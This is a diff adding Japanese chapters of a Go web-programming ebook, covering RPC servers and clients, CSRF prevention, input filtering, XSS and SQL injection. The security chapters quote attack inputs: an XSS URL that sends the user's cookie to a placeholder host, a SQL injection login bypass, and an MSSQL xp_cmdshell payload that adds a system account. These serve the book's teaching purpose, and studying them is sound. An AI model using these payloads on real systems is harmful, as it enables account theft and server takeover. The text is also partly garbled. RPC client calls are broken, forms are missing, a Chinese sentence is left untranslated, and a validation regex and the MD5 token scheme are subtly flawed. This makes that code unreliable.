import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +上のコードはhttpのサーバと比べ、以下の点が異なっています:ここではTCPプロトコルを採用しています。自分で接続をコントロールする必要があり、クライアントが接続した場合に、この接続をrpcに渡して処理する必要があります。 + +これはブロッキング型の単一のユーザのプロセスだとお気づきかもしれません。もしマルチスレッドを実装したい場合、goroutineを使って実現することができます。前のsocket節ですでにどのようにgoroutineを処理するかご紹介しました。 +以下ではTCPで実現するRPCクライアントをお見せします: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +このクライアントコードとhttpのクライアントコードを比較した場合、唯一の違いはDialHTTPです。もう片方はDial(tcp)で、その他の処理は全く同じです。 + +### JSON RPC +JSON RPCはデータエンコードにJSONを採用しております。gobエンコードではありません。その他は上でご紹介したRPCの概念と全く同じです。以下ではどのようにGoが提供するjson-rpc標準パッケージを使うかご説明します。サーバのコードの実装をご覧ください: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +json-rpcはTCPプロトコルにもとづいて実装されていることがお分かりいただけるかと思います。現在はまだHTTPメソッドをサポートしていません。 + +クライアントのコードをご覧ください: + + package main + + import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +## 概要 +GoはすでにRPCに対して良いサポートを提供しています。上のHTTP、TCP、JSON RPCの実装を通して、多くの分散型のWebアプリケーションの開発を簡単に行うことができます。読者であるあなたはすでにここまでマスターしたものと思われます。ただ残念なことに現在GoはまだSOAP RPCのサポートを提供していません。幸い現在すでにサードパーティのオープンソースで実現されています。 + + + +## links + * [目次]() + * 前へ: [REST](<08.3.md>) + * 次へ: [概要](<08.5.md>) diff --git a/ja/ebook/08.5.md b/ja/ebook/08.5.md new file mode 100644 index 00000000..9dd82d99 --- /dev/null +++ b/ja/ebook/08.5.md @@ -0,0 +1,6 @@ +# 8.5 概要 +この章では現在流行しているいくつかの主なネットワークアプリケーションの開発方法についてご紹介しました。第一節ではネットワークプログラミングの基礎をご紹介しました。Socketプログラミングです。なぜなら現在ネットワークはクラウドの方向に急速に進化しています。この技術で展開されるsocket知識の基礎は開発者としてマスターしておかなければなりません。第二節では現在流行しつつあるHTML5の重要な特徴であるWebSocketについてご紹介しました。これを使うとサーバは主導的に情報をpushできるようになります。昔のajaxポーリングパターンの簡略化も述べました。第三節ではRESTプログラミングパターンをご紹介しました。これらのパターンは特にネットワークアプリケーションAPIの開発に適しています。上の四種類の開発方法において、Goはすでに良いサポートを提供しています。netパッケージおよびそのサブパッケージはいずれもネットワークプログラミングのツールの在り処を含んでいます。もしより詳しく関連する実装の詳細に足を踏み入れるのであれば、このパッケージのソースコードを試しに読んでみてください。 +## links + * [目次]() + * 前へ: [RPC](<08.4.md>) + * 次へ: [セキュリティと暗号化](<09.0.md>) diff --git a/ja/ebook/09.0.md b/ja/ebook/09.0.md new file mode 100644 index 00000000..378906e7 --- /dev/null +++ b/ja/ebook/09.0.md @@ -0,0 +1,20 @@ +# 9 セキュリティと暗号化 +Webアプリケーションの開発者にとっても、Webアプリケーションのセキュリティホールの攻撃者も、Webアプリケーションのセキュリティという話題に対してはますます熱い視線を送っています。特に最近のCSDNのパスワード漏洩事件によって我々はWebセキュリティという話題により注視するようになっています。パスワードの話をするとみんな顔色が変わります。みんな自分のシステムにセキュリティホールがないか検査し始めました。Goプログラムの開発者として、我々のアプリケーション・プログラムがいつでも大多数の攻撃者の目標となりうることを知っておかなければなりません。前もって防御する準備を整えておかなければなりません。 + +Webアプリケーションプログラムのセキュリティ問題の理由の多くは軽々しく第三者からもたらされたデータを信じてしまうことにあります。例えばユーザの入力したデータに対して、これに対し検証を行う前はすべて安全ではないデータであるとみなさなければなりません。もしこれらの安全ではないデータをクライアントに出力すると、クロスサイトスクリプティング(XSS)の問題を引き起こしかねません。もし安全ではないデータをデータベースの検索に使用すると、SQLインジェクションの問題を引き起こす可能性があります。我々は9.3、9.4節においてどのようにこれらの問題を避けるかについてご紹介します。 + +ユーザの提供するデータなど第三者が提供したデータを使用する際、まずこれらのデータの合法性を検証することは非常に重要です。これらのプロセスをフィルタリングと呼びます。9.2節においてどのようにすべてのデータに対してフィルタリングを行うかご紹介します。 + +入力のフィルタリングと出力のエスケープはすべての問題を解決するわけではありません。9.1節でCSRFアタックについてご紹介します。ターゲットが攻撃者の指定するリクエストを送ってしまうことで破壊を発生させる可能性があります。 + +セキュリティ暗号化では、我々のWebアプリケーションプログラムを強化できる強力な手段が暗号化です。CSDN漏洩事件はパスワードを平文で保存していたことによるものです。攻撃者がデータベースを取得した後直接いくつかの破壊行為が実施できてしまいました。しかし、他のツールと同じく暗号化手段もしっかりしていなければなりません。9.5節ではどのようにパスワードを保存し、パスワードを安全に保存するかご紹介します。 + +暗号化の本質はデータをかき乱すことにあります。ある逆算不可能なデータの撹拌を単方向暗号化もしくはハッシュアルゴリズムと呼びます。また双方向の暗号化方式もあります。暗号化したデータを逆に復号することができます。9.6節でどのようにしてこのような双方向の暗号化方式を実現するかご紹介します。 + +## 目次 + ![](images/navi9.png?raw=true) + +## links + * [目次]() + * 前へ: [第八章概要](<08.5.md>) + * 次へ: [CSRF攻撃の予防](<09.1.md>) diff --git a/ja/ebook/09.1.md b/ja/ebook/09.1.md new file mode 100644 index 00000000..f037ff02 --- /dev/null +++ b/ja/ebook/09.1.md @@ -0,0 +1,93 @@ +# 9.1 CSRF攻撃の予防 + +## CSRFとは何か  +CSRF(Cross-site request forgery)、我々の言語では:"跨站请求伪造(クロスサイトリクエストフォージェリ)"といいます。またone click attack/session ridingとも呼び、短縮して:CSRF/XSRFとなります。 + +CSRFではいったいなにができるのでしょうか?このように簡単に理解することができます:攻撃者はあなたのログイン情報を盗用することができ、あなたの身分であらゆるリクエストを送りつけることができます。例えばQQ等チャットソフトウェアを使ってリンク(URL短縮などで偽装したものもあり、ユーザは判別できません)を発信するなど、少しばかりのソーシャルエンジニアリングの罠を仕掛けるだけで攻撃者はWebアプリケーションのユーザに攻撃者が設定した操作を行わせることができます。たとえば、ユーザがインターネット銀行にログインし口座の残高を調べる場合、ログアウトしていない間にQQのフレンドから発信されたリンクをクリックするとします。すると、このユーザの銀行アカウントの資金は攻撃者が指定した口座に振り込まれてしまう可能性があります。 + +そのためCSRF攻撃を受けた時、エンドユーザのデータと操作コマンドは重大なセキュリティ問題となります。攻撃を受けたエンドユーザが管理者アカウントを持っていた場合、CSRF攻撃はWebアプリケーションプログラムの全体の危機となります。 + +## CSRFの原理 +下の図で簡単にCSRF攻撃の思想をご説明します + +![](images/9.1.csrf.png?raw=true) + +図9.1 CSRFの攻撃プロセス + +上の図から、CSRF攻撃を一回成功させるには被害者が2つのステップを踏まなければならないことがわかります: + +- 1.ログインがページAでの信任を受け、ローカルでCookieを生成する。 +- 2.Aをログアウトしていない状態で、危険なページBにアクセスする。 + +ここまでで読者は次のように思われるかもしれません:"もし上の2つの条件のうち任意の一つを満足していなければ、CSRFの攻撃をうけることはない"。そうです。たしかにその通り、しかし以下の状況が発生しないことを保障することはできません: + +- あるページにログインしたあと、もうひとつtab画面を開き別のページにアクセスしないとは保証できません。特に最近のブラウザはどれもtabをサポートしています。 +- ブラウザを閉じたあと、ローカルのCookieがすぐに有効期限を迎えるとは限りません。前のセッションがすでに終了していることを保証できません。 +- 上の図で示した攻撃ページは、その他のセキュリティホールを抱えた信用できるよくアクセスされるページであることがあります。 + +その為、ユーザにとってあるページにログインした後なんらかのリンクをクリックしてその他の操作を避けることはとても難しいのです。ですから、いつでもCSRFの被害者になる可能性があります。 + +CSRF攻撃の主な原因はWebの隠された身分検証メカニズムにあります。Webの身分検証メカニズムはあるリクエストがあるユーザのブラウザからやってきたものであることを保証することはできますが、このリクエストがユーザの承認によって送信されたものであることを保証できません。 + +## どのようにしてCSRFを予防するか +上の紹介で、読者はこのような攻撃が非常に恐ろしいと思われたのではないでしょうか。恐怖を意識するのはいいことです。どのようにして似たようなセキュリティホールの出現を防止/改善し、以降の内容を引き続き読み進めていくことを促してくれます。 + +CSRFの防御はサーバとクライアントの両方から着手することができます。防御はサーバから手をつけるのが効果的です。現在一般的なCSRF防御はどれもサーバで行われます。 + +サーバでCSRF攻撃を予防する方法にはいくつかありますが、思想上はどれも大差ありません。主に以下の2つの方面から行われます: + +- 1、GET,POSTとCookieを正しく使用する +- 2、GETでないリクエストで擬似乱数を追加する + +前の章でRESTメソッドのWebアプリケーションをご紹介しました。一般的には普通のWebアプリケーションはどれもGET、POSTがメインで、もう一種類のリクエストはCookie方式です。我々は一般的に以下の方法でアプリケーションを設計します: + +1、GETは閲覧、列挙、表示といったリソースを変更する必要のない場合に限ります + +2、POSTは注文を行い、リソースに変更を加えたりといった状況に限ります + +ではGo言語を使って例をご説明します。どのようにしてリソースのアクセス方法を制限するのでしょうか: + + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + +このように処理すると、修正にはPOSTのみに限定しているため、GETメソッドでリクエストした際レスポンスを拒絶します。そのため、上の図で示したGETメソッドのCSRF攻撃は防止されます。しかしこれですべて問題は解決されたのでしょうか?当然そうではありません。POSTも同じだからです。 + +そのため、第二ステップを実施する必要があります。GETでないメソッドのリクエストにおいてランダムな数を追加します。これはだいたい三種類の方法によって実行されます: + +- 各ユーザにユニークなcookie tokenをひとつ生成します。すべてのフォームは同じ擬似乱数を含んでいます。この方法は最も簡単です。なぜなら攻撃者は第三者のCookieを(理論上は)取得することができず、そのため、フォームのデータを構成することができません。しかしユーザのCookieはページのXSSセキュリティホールによって容易に盗まれてしまいます。そのため、この方法はかならずXSSがない状況で安全だといえます。 +- 各リクエストでCAPTCHAを使用します。この方法は完璧です。複数回CAPTCHAを入力する必要がありますので、ユーザビリティは非常に悪く実際の運用には適しません。 +- 異なるフォームにそれぞれ異なる擬似乱数を含ませます。4.4節でご紹介した”どのようにしてフォームの複数送信を防止するか"で、この方法をご紹介しました。関連するコードを再掲します: + +ランダムなtokenを生成します + + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + io.WriteString(h, "ganraomaxxxxxxxxx") + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + +tokenを出力 + + + +tokenを検証 + + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //tokenの合法性を検証 + } else { + //tokenが存在しない場合はエラーを発生 + } + +このように基本的には安全なPOSTを実現しました。しかしもしtokenのアルゴリズムが暴かれてしまったらと思われるかもしれません。しかし理論上は破られることは基本的に不可能です。ある人が計算したところ、この文字列を無理に破るにはだいたい2の11乗の時間が必要です。 + +## 概要 +クロスサイトリクエストフォージェリ、すなわちCSRFは非常に危険なWebセキュリティ問題です。Webセキュリティ界隈では"眠れる巨人"と呼ばれています。リスクレベルはこの"肩書き"を見ればお分かりでしょう。この節ではクロスサイトリクエストフォージェリの紹介にとどまらず、このようなセキュリティホールを生み出す原因の所在についても詳しくご説明しました。これでもって攻撃への防御を促し、読者に安全なWebアプリケーションを書いていただけますよう望んでいます。 + +## links + * [目次]() + * 前へ: [セキュリティと暗号化](<09.0.md>) + * 次へ: [入力フィルタリングの確保](<09.2.md>) diff --git a/ja/ebook/09.2.md b/ja/ebook/09.2.md new file mode 100644 index 00000000..b622a120 --- /dev/null +++ b/ja/ebook/09.2.md @@ -0,0 +1,72 @@ +# 9.2 入力フィルタリングの確保 +ユーザのデータをフィルタリングするのはWebアプリケーションセキュリティの基礎です。これはデータの合法性を検証するプロセスです。すべての入力データに対してフィルタリングを行うことで、悪意あるデータがプログラム中に誤って信用され使用されるのを防ぐことができます。大部分のWebアプリケーションのセキュリティホールはどれもユーザが入力したデータに対して適切なフィルタを行わなかったことによるものです。 + +我々がご紹介するデータのフィルタリングは3つのステップに分かれています: + +- 1、データを識別し、フィルタリングすべきデータがどこから来たのかはっきりさせる +- 2、データをフィルタリングし、どのようなデータが必要なのか明らかにする +- 3、フィルタリングされ汚染されたデータを区別し、もし攻撃データが存在する場合はフィルタリング後我々がより安全なデータを使用するよう保証する + +## データの識別 +"データの識別"の第一歩では"データが何か、どこから来たのか"を知らないという前提があるため、これを正確にフィルタリングすることができません。ここでいうデータとはコードの内部以外から提供されているすべてのデータを指します。例えば:すべてのクライアントからのデータ、ただしクライアントだけが唯一の外部データ元ということではありません。データベースと第三者が提供するインターフェースデータ等も外部データ元となりえます。 + +ユーザが入力したデータはGoを使って非常に簡単に識別することができます。Goは`rParseForm`を使って、ユーザのPOSTとGETのデータをすべて`r.Form`の中に保存します。その他の入力は識別するのがとてもむずかしくなります。例えば`r.Header`の中の多くの要素はクライアントが操作しています。この中のどの要素が入力となっているかは確認するのが難しく、そのため最良の方法は中のすべてのデータをユーザの入力とみなしてしまうことです。(例えば`r.Header.Get("Accept-Charset")`といったものも大多数はブラウザが操作しているものの、ユーザの入力とみなします。) + +## データのフィルタリング +データの発生源を知っていれば、フィルタリングを行うことができます。フィルタリングというのは少し正式な専門用語で、普段使われる言葉では多くの同義語が存在します。たとえば検証、クリーニング、サニタイズといったものです。これらの専門用語は表面的な意味は異なりますが、いずれも同じ処理のことを指しています。望ましくないデータがあなたのアプリケーションに入ってくるのを防止します。 + +データのフィルタリングには多くの方法があります。そのうちいくつかは安全性に乏しく、最良の方法はフィルタリングを検査のプロセスとみなしてしまうことです。あなたがデータを使用する前に、合法的なデータに合致したリクエストであるか検査し、気前よく非合法なデータを糾弾しようとはせず、ユーザに規定のルールでデータを入力させることです。非合法なデータを糾弾することは往々にしてセキュリティ問題を引き起こすことを歴史が証明しています。例をあげましょう:"最近銀行システムのアップグレードがあった後、もしパスワードの後ろ二桁が0であった場合、前の四桁を入力するだけでシステムにログインできます"。これは非常に重大なセキュリティホールです。 + +データのフィルタリングは主に以下のようなライブラリを採用することで操作されます: + +- strconvパッケージの文字列変換関連の関数。Requestの中の`r.Form`が返すのは文字列であり、時々これを整数または浮動小数点数に変換する必要がありますから、`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`といった関数を利用することができます。 +- stringパッケージのいくつかのフィルタリング関数`Trim`、`ToLower`、`ToTitle`といった関数。我々が指定する形式にしたがってデータを取得することができます。 +- regexpパッケージを使って複雑な要求を処理します。例えば入力がEmailかどうかや誕生日かどうかを判断します。 + +データのフィルタリングは検査や検証を除いて、特殊な場合ホワイトリストを採用することができます。つまり例えばあなたが今検査しているデータが合法であると証明されないかぎり、どれも非合法であったとします。この方法ではもしエラーが発生すると合法的なデータを非合法であるとするかもしれませんが、その逆はありません。どのようなエラーも犯さないと思っていても、このようにすることは非合法なデータを合法としてしまうよりもずっと安全です。 + +## データのフィルタリングの区別 +もし上の2ステップが完了すると、データフィルタリングの作業は基本的に完了です。しかしWebアプリケーションを書いている時我々はすでにフィルタリングして汚染されているデータを区別する必要があります。なぜならこのようにすることでデータのフィルタリングの完全性を保証し、入力したデータには影響を与えないようにすることができるからです。我々はすべてのフィルタリングされたデータをグローバルなMap変数(CleanMap)の中に保存します。この時2つの重要なステップで汚染されたデータが注入されるのを防ぐ必要があります: +- 各リクエストはCleamMapを空のMapとして初期化する必要があります。 +- 検査を加えて外部のデータ元の変数がCleanMapとされるのを阻止する。 + +続けて、例を一つ挙げてこの概念を強固にしましょう。下のフォームをご覧ください + +
+ あなたは誰ですか: + + +
+ +このフォームのプログラムロジックを処理している時に、非常に簡単に犯してしまう間違いは3つの選択肢の一つだけが送信されると思い込んでしまうことです。攻撃者はPOST操作をいじることができますから、`name=attack`といったデータを送信できます。そのため、この時ホワイトリストににた処理を行う必要があります。 + + r.ParseForm() + name := r.Form.Get("name") + CleanMap := make(map[string]interface{}, 0) + if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name + } + +上面代码中我们初始化了一个CleanMap的变量,当判断获取的name是`astaxie`、`herry`、`marry`三个中的一个之后 +上のコードではCleamMapという変数をひとつ初期化しています。取得したnameが`astaxie`、`herry`、marry`の3つの打ちの一つだと判断した後、データをCleanMapに保存します。このようにCleanMap["name"]のなかのデータが合法であると保証することができます。そのためコードの他の部分にもこれを使用します。当然else部分に非合法なデータの処理を追加してもかまいません。再度フォームを表示しエラーを表示するといったこともできます。しかしフレンドリーに汚染されたデータを出力してはいけません。 + +上の方法はすでに知っている合法な値のデータをフィルタリングするのには有効ですが、すでに合法な文字列で構成されていると知っているデータをフィルタリングする場合はなんの助けにもなりません。例えば、ユーザ名をアルファベットと数字のみから構成させたいとする場合です: + + r.ParseForm() + username := r.Form.Get("username") + CleanMap := make(map[string]interface{}, 0) + if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { + CleanMap["username"] = username + } + +## 概要 +データのフィルタリングはWebセキュリティにおいて基礎となる作用です。多くのセキュリティ問題はデータのフィルタリングと検証を行わなかったことによるものです。例えば前の節のCSRF攻撃と以降に説明するXSS攻撃、SQLインジェクション等はどれも真面目にデータをフィルタリングしなかった事によって引き起こされます。そのため、この部分の内容は特に重視する必要があります。 + +## links + * [目次]() + * 前へ: [CSRF攻撃の予防](<09.1.md>) + * 次へ: [XSS攻撃の回避](<09.3.md>) diff --git a/ja/ebook/09.3.md b/ja/ebook/09.3.md new file mode 100644 index 00000000..d7a45358 --- /dev/null +++ b/ja/ebook/09.3.md @@ -0,0 +1,52 @@ +# 9.3 XSS攻撃の回避 +インターネット技術の発展に伴って、現在のWebアプリケーションはどれも大量の動的なコンテンツを含ませることでユーザビリティを高めています。いわゆる動的なコンテンツとは、アプリケーション・プログラムがユーザの環境とユーザのリクエストに従って対応するコンテンツを出力することをいいます。動的なホームページは"クロスサイトスクリプティング攻撃(Cross Site Scripting, セキュリティ専門家は通常これを省略してXSSと呼びます)"の脅威を受ける可能性があります。性的なホームページは完全にこの影響を受けません。 + +## XSSとは何か +XSS攻撃:クロスサイトスクリプティング(Cross-Site Scripting)。カスケーディングスタイルシート(Cascading Style Sheets, CSS)の省略と混同しないようにクロスサイトスクリプティングはXSSと省略されます。XSSはよく見かけるセキュリティホールの一種です。これは攻撃者が悪意のあるコードを他のユーザが使用しているページに埋め込むことを許してしまいます。多くの攻撃(一般には攻撃者と被害者のみに影響します)とは異なりXSSは第三者に及びます。すなわち、攻撃者、クライアントとWebアプリケーションです。XSSの攻撃目標はクライアントに保存されたcookieの奪取またはクライアントの身分を識別する慎重に扱うべき情報を使う他のページです。一旦合法的なユーザの情報が取得されると、攻撃者は合法的なユーザを装ってページに対してやりとりを行うことができるようになります。 + +XSSは通常2つに大別することができます:ひとつは保存型XSSで、主にユーザにデータを入力させ、他にこのページを閲覧しているユーザが閲覧できる場所で出くわします。掲示板、コメント欄、ブログや各種フォーム等です。アプリケーションプログラムはデータベースからデータを検索し、画面に表示させます。攻撃者は関連する画面で悪意のあるスクリプトデータを入力したあと、ユーザがこのページを閲覧したときに攻撃をうけます。このプロセスを簡単にご説明すると:悪意あるユーザのHtmlがWebアプリケーションに入力->データベースに入る->Webアプリケーション->ユーザのブラウザ。もう一つはリフレクション型XSSです。主な方法はスクリプトコードをURLアドレスのリクエストパラメータに追加することです。リクエストパラメータがプログラムに入ると、ページに直接出力され、ユーザがこのような悪意あるリンクをクリックすることで攻撃を受けます。 + +現在のXSSの主な手段と目的は以下のとおり: + +- cookieを盗み、慎重に扱うべき情報を取得する。 +- Flashを埋め込むことで、crossdomainの権限設定により高い権限を取得する。またはJava等を利用して似たような操作を行う。 +- iframe、frame、XMLHttpRequestまたは上のFlashといった方法を利用して、(被害者の)ユーザの身分にある管理操作を実行する。またはマイクロブログを送信したり、フレンドを追加したり、プライベートなメールを送信したりといった通常の操作を実行する。少し前に新浪微博はXSSに遭遇しました。 +- 攻撃可能なゾーンを利用してその他のゾーンの信任の機能を受ける。信任を受けたソースの身分で通常は許されていない操作をリクエストする。例えば不当な投票活動等。 +- PVが非常に大きいページでのXSSは小型のページを攻撃し、DDoS攻撃の効果を実現することができる。 + +## XSSの原理 +Webアプリケーションはユーザが送信したリクエストのデータに対し十分な検査およびフィルタリングを行なっていないと、ユーザが送信するデータにHTMLコードを許してしまい(主に">"、"<")、エスケープされていない悪意あるコードを第三者であるユーザのブラウザ上で解釈/実行させてしまいます。これがXSSセキュリティホールを生み出す原因となっています。 + +以下ではリフレクション型XSSを例にXSSのプロセスをご説明します:パラメータによってユーザの名前を出力するページがあるとします。例えばurl:`http://127.0.0.1/?name=astaxie`にアクセスすると、ブラウザでは以下のような情報を出力します: + + hello astaxie + +もし我々が`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`のようなurlを送信した場合、ブラウザがダイアログを表示することに気づくでしょう。これはつまり、ページにXSSセキュリティホールが存在することを示しています。では悪意あるユーザはどのようにしてCookieを盗み出すのでしょうか?上と同じように、`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`というurlでは、現在のcookieが指定されたページ、www.xxx.comに送信されます。このようなURLは一目見て問題があるとわかると思われるかもしれません。いったい誰がクリックするのかと。そうです。このようなURLは人に疑われがちです。しかしURL短縮サービスを使ってこれを短縮した場合、あなたは気づくことができるでしょうか?攻撃者は短縮されたurlをなんらかの経路で広め、真相を知らないユーザが一旦このようなurlをクリックすることで、対応するcookieデータがあらかじめ設定されたページに送信されてしまいます。このようにユーザのcookie情報を盗んだあとは、Websleuthといったツールを使うことでこのユーザのアカウントを盗み出すことができるか検査されてしまいます。 + +XSSに関するより詳しい分析は"[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"と呼ばれる記事を参考にしてください。 + +## どのようにしてXSSを予防するか +答えは簡単です。ユーザのいかなる入力も決して信用せず、入力に含まれるすべての特殊文字をフィルタリングするのです。このようにすれば大部分のXSS攻撃を根絶することができます。 + +現在XSSの防御では主に以下のいくつかの方法があります: + +- 特殊文字のフィルタリング + + XSSを避ける方法の一つは主にユーザが提供するコンテンツに対してフィルタリングを行うことです。Go言語ではHTMLのフィルタリング関数を提供しています: + + text/templateパッケージのHTMLEscapeString、JSEscapeStringといった関数です。 + +- HTTPヘッダに指定した型を使用する + + `w.Header().Set("Content-Type","text/javascript")` + + このようにすることでブラウザにhtmlを出力させずjavascriptコードを解釈させることができます。 + + +## 概要 +XSSセキュリティホールはとても危険なものです。Webアプリケーションを開発している時、必ずデータをフィルタリングするよう肝に銘じておいてください。特にクライアントに出力する前に。これは現在のところXSSを防止する手段として有効です。 + +## links + * [目次]() + * 前へ: [入力フィルタリングの確保](<09.2.md>) + * 次へ: [SQLインジェクションの回避](<09.4.md>) diff --git a/ja/ebook/09.4.md b/ja/ebook/09.4.md new file mode 100644 index 00000000..ebef3511 --- /dev/null +++ b/ja/ebook/09.4.md @@ -0,0 +1,69 @@ +# 9.4 SQLインジェクションの回避 +## SQLインジェクションとは何か +SQLインジェクション攻撃(SQL Injection)、省略して注入攻撃はWeb開発において最もよく見かけるセキュリティホールの一種です。データベースから慎重に扱うべき情報を取得することができます。またはデータベースの特徴を利用してユーザの追加したりファイルをエクスポートしたりといった一連の悪意ある操作を行うことができます。データベースないしシステムユーザの最高権限を取得することすらありえます。 + +SQLインジェクションが発生する原因はプログラムがユーザの入力に有効フィルタリングを施しておらず、攻撃者がサーバに対し悪意あるSQL検索クエリを送信させてしまうからです。プログラムが攻撃者の入力を誤って検索クエリの一部として実行し、オリジナルの検索ロジックが改竄され、想定外に攻撃者が手塩にかけて作った悪意あるコードを実行してしまいます。 +## SQLインジェクション実例 +多くのWeb開発者はSQLクエリが改ざんされるとは意識していません。そのためSQLクエリを信用できるコマンドとしてしまいます。意外にも、SQLクエリはアクセスコントロールを迂回することができます。そのため、身分の検証と権限の検査を迂回します。SQLクエリからホストシステムレベルのコマンドが実行されてしまうこともあります。 + +以下では実際の例によってSQLインジェクションの方法について詳しくご説明します。 + +以下のような簡単なログインフォームについて考えます: + +
+

Username:

+

Password:

+

+
+ +我々の処理ではSQLはおそらくこのようになります: + + username:=r.Form.Get("username") + password:=r.Form.Get("password") + sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" + +もしユーザが以下のようなユーザ名を入力して、パスワードが任意だった場合 + + myuser' or 'foo' = 'foo' -- + +我々のSQLは以下のようになります: + + SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + +SQLでは`--`はコメントを表します。そのため、検索クエリは途中で中断されます。攻撃者は合法的なユーザ名とパスワードを知らなくてもログインに成功します。 + +MSSQLではシステムをコントロールするさらに危険なSQLインジェクションがあります。下の恐ろしい例ではあるバージョンのMSSQLデータベース上でどのようにシステムコマンドを実行するか示しています。 + + sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" + Db.Exec(sql) + +もし攻撃で`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`がprod変数として送信されると、sqlは以下のようになります + + sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" + +MSSQLサーバは後ろのシステムに新しいユーザを追加するコマンドを含んだSQLクエリを実行します。もしこのプログラムがsaで実行され、かつMSSQLSERVERサービスに十分な権限があれば、攻撃者はシステムアカウントを取得しホストにアクセスすることができます。 + +>上の例はある特定のデータベースシステムに対してですが、他のデータベースシステムで似たような攻撃が実施できないことを表すものではありません。このようなセキュリティホールは異なる方法を使用するだけで、あらゆるデータベースにおいて発生する可能性があります。 + + +## どのようにしてSQLインジェクションを予防するか +攻撃者はデータベースの構造の情報を知っていなければSQLインジェクション攻撃は実施できないと思われるかもしれません。確かにその通りです、しかし誰も攻撃者がこのような情報を取得できないとは保証できません。一旦彼らの手にわたってしまうと、データベースは危険に曝されます。もしBBSプログラムなどでオープンソースのソフトウェアパッケージを使ってデータベースにアクセスしているのであれば、攻撃者は容易に関連するコードを取得できます。もしこれらのコードの設計に不備があれば、リスクは更に大きくなります。現在Discuz、phpwind、phpcms等流行のオープンソースプログラムはいずれもSQLインジェクションによる攻撃の例があります。 + +これらの攻撃は常にセキュリティの高くないコードで発生します。そのため、外界で入力されたデータは永遠に信用してはいけません。特にセレクトボックスやフォームのhidden項目、cookieといったユーザからのデータがそうです。上のはじめの例のように、正常な検索であっても災難に見舞われる可能性があります。 + +SQLインジェクション攻撃の被害はこれだけ大きく、どのように予防すればよいのでしょうか?以下のこれらの提案はひょっとしたらSQLインジェクションの予防に一定の助けとなるかもしれません。 + +1. Webアプリケーションのデータベースの操作権限を厳格に制限する。このユーザにはその作業に必要となる最低限の権限だけを与え、最大限注入攻撃がデータベースに与える被害を減少させる。 +2. 入力されたデータが期待するデータ形式であるか検査し、変数の型を厳格に制限する。例えばregexpパッケージを使ってマッチング処理を行ったり、strconvパッケージを使って文字列を他の基本型のデータに変換することで判断する。 +3. 